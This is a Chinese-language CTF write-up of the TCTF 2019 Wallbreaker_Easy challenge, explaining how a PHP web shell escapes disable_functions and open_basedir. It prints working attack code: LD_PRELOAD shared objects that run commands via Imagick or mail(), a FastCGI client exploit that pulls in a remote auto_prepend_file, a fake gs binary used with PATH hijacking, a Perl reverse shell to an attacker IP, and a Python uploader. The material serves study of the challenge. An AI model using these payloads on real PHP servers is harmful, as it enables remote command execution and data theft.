TCTF bypass disable_functions研究

  ctf

0x00前言

在比赛的时候没有做出来这一道题,后期看writeup来进行一下学习。从moxiaoxi大神的github里面下载题目连接https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/TCTF2019/Wallbreaker_Easy

首先打开网页显示出一个后面的的hint

查看一下phpinfo发现了disable函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin

同时使用蚁剑登陆时也只能访问/var/www/html//tmp/md5(<remote_addr>),因此我们需要绕过function_disable

在看过多个writeup之后发现改题目大致的解为通过绕过php diable函数实行命令执行,方法有几种

  1. putenv与LD_PRELOAD 去劫持函数
  2. Bypass open_basedir
  3. 通过putenv来设定PATH

因此来学习这几种方法

0x01 LD_PRELOAD劫持函数

什么是LD_PRELOAD

google一下得出的定义为

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。而putenv可以设置环境变量,通过putenv ( string $setting ) : bool添加setting到服务器,在结束请求时环境会恢复到原状态去

我们看到disable没有禁止掉putenv,可以设想通过mail函数气筒sendmail来劫持LD_PRLOAD,通过研读文章,文中说到我们需要查看php是否调用新的进程,一般都使用了mail函数,首先测试Imagick函数是否调用了新进程

<?php
$img = new Imagick();
$img->newImage(500,300,'black','png');
?>

 

发现并没有调用新的进程,再来看看mail函数

<?php
mail('a','b','c','d');
?>

通过命令strace -f php mails.php  2>&1 | grep -A2 -B2 execve来查看php执行mails.php的时候所进行的操作并且观察是否调用了新的进程

可以发现系统调用了/usr/sbin/sendmail这个新进程,则可以通过往mail文件当中增加设置 LD_PRELOAD 的代码,首先查看一下sendmail调用的函数,使用命令

readelf -Ws /usr/sbin/sendmail

使用getuid方法,首先编写c语言代码

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
        system("ls / > /tmp/christa");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

可以发现系统调用了/usr/sbin/sendmail这个新进程,则可以通过往mail文件当中增加设置 LD_PRELOAD 的代码

将exploit.c编译成exploit.so

gcc -c -fPIC exploit.c -o exploit
gcc --share exploit-o exploit.so

然后重新改写php文件

<?php
putenv("LD_PRELOAD=./exploit.so");
mail('a','b','c','d');
?>

查看其调用的进程

同时在/tmp/文件中发现christa文件并且写入命令

但是本次题目将mail函数禁用掉了,因此使用ImageMagick 调用外部程序,ImageMagick是一个功能强大的调用图片处理文件,可以支持超过200种文件格式处理,阅读源码https://github.com/ImageMagick/ImageMagick,在其中发现mpeg为调用'ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format,其对应关系如下

使用如下代码

<?php
$img = new Imagick('christa.mov');
?>

使用strace查看其调用的子进程,发现调用了ffmpeg的函数

我们可以使用另一个方法__attribute__ ((__constructor__))其说明如下

  1. It's run when a shared library is loaded, typically during program startup.

  2. That's how all GCC attributes are; presumably to distinguish them from function calls.

  3. The destructor is run when the shared library is unloaded, typically at program exit.

当shared library load上后,会触发__attribute__ ((__constructor__)),从而能够执行命令,编写代码

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

然后进行编译

gcc -c -fPIC explois.c  -o exps
gcc --share exps -o exps.so

再进行代码

<?php
putenv("LD_PRELOAD=./exps.so");
$img = new Imagick('christa.mov');
?>

查看子进程发现调用了ls

好的,现在只需要getflag了,页面提示说执行`/readflag`就能够getflag了

编写poc文件 exploit.c

#define _GNU_SOURCE
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
        unsetenv("LD_PRELOAD");
        system("/readflag > /tmp/6fe1512ad1586bab714d841f8cf3767b/flag");
}

gcc编译之后放入自己的vps中,使用命令上传文件

backdoor=echo copy("http://192.168.0.157:9001/Chris/christa.so","/tmp/6fe1512ad1586bab714d841f8cf3767b/christa.so");

再执行命令

backdoor=putenv("LD_PRELOAD=/tmp/6fe1512ad1586bab714d841f8cf3767b/christa.so");$img = new Imagick('/tmp/6fe1512ad1586bab714d841f8cf3767b/christa.mov');

最终得到flag

flag{PUTENVANDIMAGICKAREGOODFRIENDS}

0x02Bypass open_basedir

这位大佬通过伪造fastcgi协议,直接绕过了open_basedir执行了查阅目录的命令,其脚本如下

<?php
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1);
$code = "<?php echo(\$_REQUEST['command']);?>"; // php payload
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://192.168.0.157:9001/ch";
//ch: <?php 
//var_dump(file_get_contents("/etc/passwd"));
//echo "-------<br>";
//var_dump(file_get_contents("/tmp/6fe1512ad1586bab714d841f8cf3767b/flag"));
//var_dump(file_get_contents("/tmp/6fe1512ad1586bab714d841f8cf3767b/flag111.txt"));
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
        );
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>

上传之后通过执行命令

backdoor=include("/tmp/6fe1512ad1586bab714d841f8cf3767b/exp.php");&cmd=var_dump(file_get_contents("/tmp/6fe1512ad1586bab714d841f8cf3767b/flag"));

读取flag即可,但是不能执行命令。。。。。

0x03覆盖 PATH 变量

通过看到eps所调用的进程进行覆盖变量

看到进程调用了/usr/bin/gs因此只需要将gs的变量进行覆盖即可,代码为

#include <stdlib.h>
#include <string.h>
int main() {
    unsetenv("PATH");
    const char* cmd = getenv("CMD");
    system(cmd);
    return 0;
}

将其编译成so文件并改名为gs,与视频文件一同上传服务器之后进行后门命令

putenv('PATH=/tmp/6fe1512ad1586bab714d841f8cf3767b/');
putenv('CMD=/readflag > /tmp/6fe1512ad1586bab714d841f8cf3767b/flag.txt');
chmod('/tmp/6fe1512ad1586bab714d841f8cf3767b/gs','0777');
$img = new Imagick('/tmp/6fe1512ad1586bab714d841f8cf3767b/christa.eps');

或者通过gs来进行命令执行

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int __attribute__((__constructor__)) init(void)
{
    unsetenv("LD_PRELOAD");
    system("perl -e 'use Socket;$i=\"192.168.0.157\";$p=4669;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
}

编译成bypass.so文件后,与eps文件一同上传,其python的脚本为

import requests

token = "/tmp/6fe1512ad1586bab714d841f8cf3767b/"
host = "http://192.168.0.133:8888/index.php"
base = "http://192.168.0.157:9001/"

def send_backdoor(payload):
        res = requests.post(host, data={"backdoor":payload})
        return res.text

def up_file(filename):
        tp = token + filename
        rp = base + filename
        p = 'echo file_put_contents("' + tp + '", file_get_contents("' + rp + '"));'
        return send_backdoor(p)

print(up_file("bypass.so"))
print(up_file("christa.eps"))

print(send_backdoor("putenv('LD_PRELOAD=" + token +"bypass.so"+ "');" + "$img = new Imagick('" + token + "christa.eps" + "');"))
getflag

Reference